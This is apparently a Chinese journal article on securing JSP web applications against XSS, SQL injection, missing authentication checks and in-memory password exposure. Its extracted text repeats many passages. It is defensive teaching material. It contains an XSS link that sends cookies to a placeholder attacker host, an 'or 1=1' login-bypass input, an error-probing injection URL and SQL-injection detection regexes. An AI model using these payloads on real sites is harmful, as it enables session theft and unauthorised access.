JSP應用程序開發的安全策略
由于電子商務行業的快速發展,各種基于JSP
技術構建的電子商務應用程序越來越多,而
針對JSP應用程序的各種攻擊也不斷出現。本
文分析了 JSP 開發的Web應用程序中常見的
漏洞產生原因以及攻擊的原理,結合實際應
用提出了防范策略。
技術構建的電子商務應用程序越來越多,而
針對JSP應用程序的各種攻擊也不斷出現。本
文分析了 JSP 開發的Web應用程序中常見的
漏洞產生原因以及攻擊的原理,結合實際應
用提出了防范策略。
JSP;漏洞;防范策略
JSP編程語言自從推出之日起,其運
行效率高、與平臺無關、擴展好、面向對象
等特性使JSP在動態網站,特別是涉及資金
支付和認證方面的電子商務網站上得到了
越來越廣泛的應用。雖然JSP 相對于其他
網絡編程語言, 在安全方面有很大的優越
性,但是,由于完全開放了對服務器資源的
訪問,從JSP頁面轉換得到的不安全的
Servlet可能給服務器、服務器所在的網絡
和訪問頁面的客戶機之中的任意一個或全
體帶來威脅。下面將討論常見的漏洞以及
防范策略。
行效率高、與平臺無關、擴展好、面向對象
等特性使JSP在動態網站,特別是涉及資金
支付和認證方面的電子商務網站上得到了
越來越廣泛的應用。雖然JSP 相對于其他
網絡編程語言, 在安全方面有很大的優越
性,但是,由于完全開放了對服務器資源的
訪問,從JSP頁面轉換得到的不安全的
Servlet可能給服務器、服務器所在的網絡
和訪問頁面的客戶機之中的任意一個或全
體帶來威脅。下面將討論常見的漏洞以及
防范策略。
一、跨站腳本攻擊的防范策略
1、攻擊原理
跨站腳本(Cross Site Scripting)
攻擊是指在遠程WEB頁面的HTML代碼..
攻擊是指在遠程WEB頁面的HTML代碼..
510663
中手插入惡意的JavaScript、VBScript、
ActiveX等腳本,竊取瀏覽此頁面的用戶的
隱私、改變用戶的設置、破壞用戶的數據。
跨站腳本攻擊在多數情況下不會對服務器
和WEB程序的運行造成影響,但對客戶端
的安全構成嚴重的威脅。
ActiveX等腳本,竊取瀏覽此頁面的用戶的
隱私、改變用戶的設置、破壞用戶的數據。
跨站腳本攻擊在多數情況下不會對服務器
和WEB程序的運行造成影響,但對客戶端
的安全構成嚴重的威脅。
例如下面這個簡單的例子。當我們提
交..
交..
便能彈出包含自己Cookie信息的對話
框。而提交..
就能重定向到網易。
由于在返回“name”變量的值給客
戶端時,腳本沒有進行任何編碼或過濾惡
意代碼,當用戶訪問嵌入惡意“name ”
變量數據鏈接時,會導致腳本代碼在用戶
瀏覽器上執行,可能導致用戶隱私泄露的
后果。比如下面的鏈接:..
戶端時,腳本沒有進行任何編碼或過濾惡
意代碼,當用戶訪問嵌入惡意“name ”
變量數據鏈接時,會導致腳本代碼在用戶
瀏覽器上執行,可能導致用戶隱私泄露的
后果。比如下面的鏈接:..
http://www.xxx.com/dispuser.jsp?
name=user<;script>document.
location='http://www.hacker.com/xxx.
xxx?'+document.cookie</script>
name=user<;script>document.
location='http://www.hacker.com/xxx.
xxx?'+document.cookie</script>
xxx.xxx頁面用于收集后邊跟的參
數,而這里參數指定的是document.
cookie,也就是訪問此鏈接的用戶的
Cookie。在JSP里,讀取Cookie并不是
難事。而且,跨站腳本并不局限于竊取
Cookie這一項功能,所以要注意防范。
2、防范策略
對所有動態頁面的輸入和輸出都應進
行編碼,可以在很大程度上避免跨站腳本
的攻擊。但是對所有不可信數據編碼是資
源密集型的工作,會對Web 服務器產生
性能方面的影響。因此常用的手段還是進
行編碼,可以在很大程度上避免跨站腳本
的攻擊。但是對所有不可信數據編碼是資
源密集型的工作,會對Web 服務器產生
性能方面的影響。因此常用的手段還是進
行輸入數據的過濾,而更實用的防范是利
用正則表達式只允許輸入指定的字符,例
如以下代碼就只允許輸入的數據為小寫的
英文字母和數字:..
用正則表達式只允許輸入指定的字符,例
如以下代碼就只允許輸入的數據為小寫的
英文字母和數字:..
public boolean isValidInput(String
str)
str)
{
if(str.matches("[a-z0-9]+")) return
true;
else return false;
}
二、SQL注入攻擊的防范策略
1、攻擊原理
SQL注入攻擊的總體思路:發現SQL
注入位置→判斷服務器類型和后臺數據庫
類型→確定可執行情況。
注入位置→判斷服務器類型和后臺數據庫
類型→確定可執行情況。
一般網站的身份認證網頁中都會有類
似如下的SQL語句:..
似如下的SQL語句:..
select * from admin where
username='XXX' and password='YYY'
的語句,若數據庫系統正式執行此句之
前,如果沒有進行必要的字符過濾,則很
容易實施SQL注入。
username='XXX' and password='YYY'
的語句,若數據庫系統正式執行此句之
前,如果沒有進行必要的字符過濾,則很
容易實施SQL注入。
比如在用戶名文本框內輸入:.. “abcor 1=1”,在密碼框內輸入:.. “123”則
SQL語句變成:.. select * from admin where
username='abc' or 1=1 and password='123'
SQL語句變成:.. select * from admin where
username='abc' or 1=1 and password='123'
那么不管用戶輸入任何用戶名與密
碼,此語句永遠都能正確執行,用戶就可
以輕易騙過系統,獲取合法身份。然后攻
擊者可以猜解所有數據庫名稱,猜出庫中
的每張表名,分析可能存放用戶名與密碼
的表名。甚至可以獲得管理員權限,進而
為所欲為。
碼,此語句永遠都能正確執行,用戶就可
以輕易騙過系統,獲取合法身份。然后攻
擊者可以猜解所有數據庫名稱,猜出庫中
的每張表名,分析可能存放用戶名與密碼
的表名。甚至可以獲得管理員權限,進而
為所欲為。
還有另一種方式也可以獲得數據庫名
和每張表的名。
和每張表的名。
就是通過例如:http://www.XXX.
com/news?id=10' 的方式來通過頁面報錯
com/news?id=10' 的方式來通過頁面報錯
-126
信息獲得數據庫名和表名。
2、防范策略
對于JSP而言一般采取以下策略來應
對:
對:
1)、使用PreparedStatement對象
在JSP程序中,開發人員應該始終以
PreparedStatement對象代替Statement對
象。
在JSP程序中,開發人員應該始終以
PreparedStatement對象代替Statement對
象。
如果使用預編譯語句,頁面傳入的任
何內容就不會和原來的語句發生任何匹配
的關系。只要使用預編譯語句,就可以不
用對傳入的數據做任何過慮。同時還增強
了代碼的可讀性和可維護性、提高了數據
庫訪問的性能。而如果使用普通的
Statement對象,有可能要對提交的字符
串進行詳盡的判斷和過慮。
何內容就不會和原來的語句發生任何匹配
的關系。只要使用預編譯語句,就可以不
用對傳入的數據做任何過慮。同時還增強
了代碼的可讀性和可維護性、提高了數據
庫訪問的性能。而如果使用普通的
Statement對象,有可能要對提交的字符
串進行詳盡的判斷和過慮。
2)、使用正則表達式
檢測SQL meta-characters的正則表達
式:/(\%27)|(\')|(\-\-)|(\%23)|(#)/ix
修正檢測SQL meta-characters的正則
表達式:
/((\%3D)|(=))[^\n]*((\%27)|(\')|(\\-)
|(\%3B)|(:))/i
典型的 SQL注入攻擊的正則表達
式:
/\w*((\%27)|(\'))((\%6F)|o|(\%4F))
((\%72)|r|(\ %52))/ix
檢測MS SQL Server SQL注入攻擊
的正則表達式: /exec(\s|\+)+(s|x)p\w+/
檢測SQL meta-characters的正則表達
式:/(\%27)|(\')|(\-\-)|(\%23)|(#)/ix
修正檢測SQL meta-characters的正則
表達式:
/((\%3D)|(=))[^\n]*((\%27)|(\')|(\\-)
|(\%3B)|(:))/i
典型的 SQL注入攻擊的正則表達
式:
/\w*((\%27)|(\'))((\%6F)|o|(\%4F))
((\%72)|r|(\ %52))/ix
檢測MS SQL Server SQL注入攻擊
的正則表達式: /exec(\s|\+)+(s|x)p\w+/
3)、字符串過濾
4)、不安全字符屏蔽
可以采用JavaScript來屏蔽,但起的
作用很小,在實際應用中這些 SQL的關
鍵字也可能成為真正的查詢關鍵字,這樣
可能導致用戶不能正常的使用。
4)、不安全字符屏蔽
可以采用JavaScript來屏蔽,但起的
作用很小,在實際應用中這些 SQL的關
鍵字也可能成為真正的查詢關鍵字,這樣
可能導致用戶不能正常的使用。
總而言之,凡是執行的SQL語句中有
變量時,用JDBC(或者其他數據持久
層)提供的PreparedStatement對象就可
以,不要用拼接字符串的方法。
變量時,用JDBC(或者其他數據持久
層)提供的PreparedStatement對象就可
以,不要用拼接字符串的方法。
三、身份認證漏洞的防范策略
1、漏洞原理
例如user_manager.jsp是用戶管理的
頁面,開發人員也做了一定的防范措施:..
頁面,開發人員也做了一定的防范措施:..
if ((session.getValue("UserName")
==null)││(session.getValue("UserClass")
==null)││(! Session.getValue("UserClass").equals("系統管理員")))
==null)││(session.getValue("UserClass")
==null)││(! Session.getValue("UserClass").equals("系統管理員")))
{
Response.sendRedirect("error.jsp");
return;
}
如果要查看、修改某用戶的信息,就
要用modifyuser.jsp這個文件。管理員提
id=8
就是查看、修改ID為8的用戶的資料
(管理員默認的用戶ID為8)。但是,如
此重要的文件竟缺乏認證,普通用戶(包
括游客)也直接提交上述請求,也可以對
其信息一覽無余(密碼也是明文存儲、顯
示的)。modifyuser.jsp同樣沒有任何的
身份驗證,直到惡意用戶把數據更新的操
作執行完畢,重定向到user_manager.jsp
的時候,才會看見姍姍來遲的顯示錯誤的
頁面。顯然,只在第一個環節防范是不夠
的,編程的時候一定要不厭其煩地為每一
個該加身份認證的地方加上身份認證。
2、防范策略
完善用戶授權認證過程。可以建立一
個Bean,用戶通過這個Bean來進行通過
驗證。在輸入用戶名和密碼進入系統后就
會得到一個由系統隨機生成的session 對
象,可以記錄用戶登錄的IP地址和所進行
操作等。為了防止用戶繞過登錄頁面,系
統在重要的頁面還檢查用戶是否登錄過并
檢驗用戶的操作權限,如果沒有登錄或沒
有操作權限,將用戶重定向到登錄頁面。
系統的后臺數據庫日志應該記錄所有登錄
用戶的用戶名、IP地址、登錄時間、操
作信息、權限、是否成功以及未成功登錄
的密碼等。
四、String對象隱患的防范策略
1、漏洞原理
Java平臺的確使安全編程更加方便
了。Java中無指針,這意味著 Java 程
序不能對地址空間中的任意內存位置尋址
了。在JSP文件被編譯成.class文件時會被
檢查安全性問題,例如當訪問超出數組大
小的數組元素的嘗試將被拒絕,這在很大
程度上避免了緩沖區溢出攻擊。但是,
String對象卻會給我們帶來一些安全上的
隱患。如果密碼是存儲在Java String對
象中的,則直到對它進行垃圾收集或進程
終止之前,密碼會一直駐留在內存中。即
使進行了垃圾收集,它仍會存在于空閑內
存堆中,直到重用該內存空間為止。密碼
在內存中駐留得越久,遭到竊聽的危險性
就越大。更糟的是,如果實際內存減少,
則操作系統會將這個密碼String換頁調度
到磁盤的交換空間,因此容易遭受磁盤塊
竊聽攻擊。
2、防范策略
為了將這種泄密的可能性降至最低,
最好將密碼存儲在char 數組中,并在使
用后對其置零(String是不可變的,無法
對其置零)。
最好將密碼存儲在char 數組中,并在使
用后對其置零(String是不可變的,無法
對其置零)。
五、結束語
通過上面分析可以看出JSP也存在著
很多安全上的問題,而其中的任何一個漏
洞都可能成為系統安全的隱患。作為開發
人員, 必須對采用的動態網頁技術、系統
環境和網絡協議等各個方面可能存在的安
全問題比較清楚,在應用系統的開發過程
中,充分考慮到各種可能帶來隱患的因素,
避免不安全的腳本編程,這樣才能保證系
統的安全運行。
很多安全上的問題,而其中的任何一個漏
洞都可能成為系統安全的隱患。作為開發
人員, 必須對采用的動態網頁技術、系統
環境和網絡協議等各個方面可能存在的安
全問題比較清楚,在應用系統的開發過程
中,充分考慮到各種可能帶來隱患的因素,
避免不安全的腳本編程,這樣才能保證系
統的安全運行。
本文由用戶 xiaosile44 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!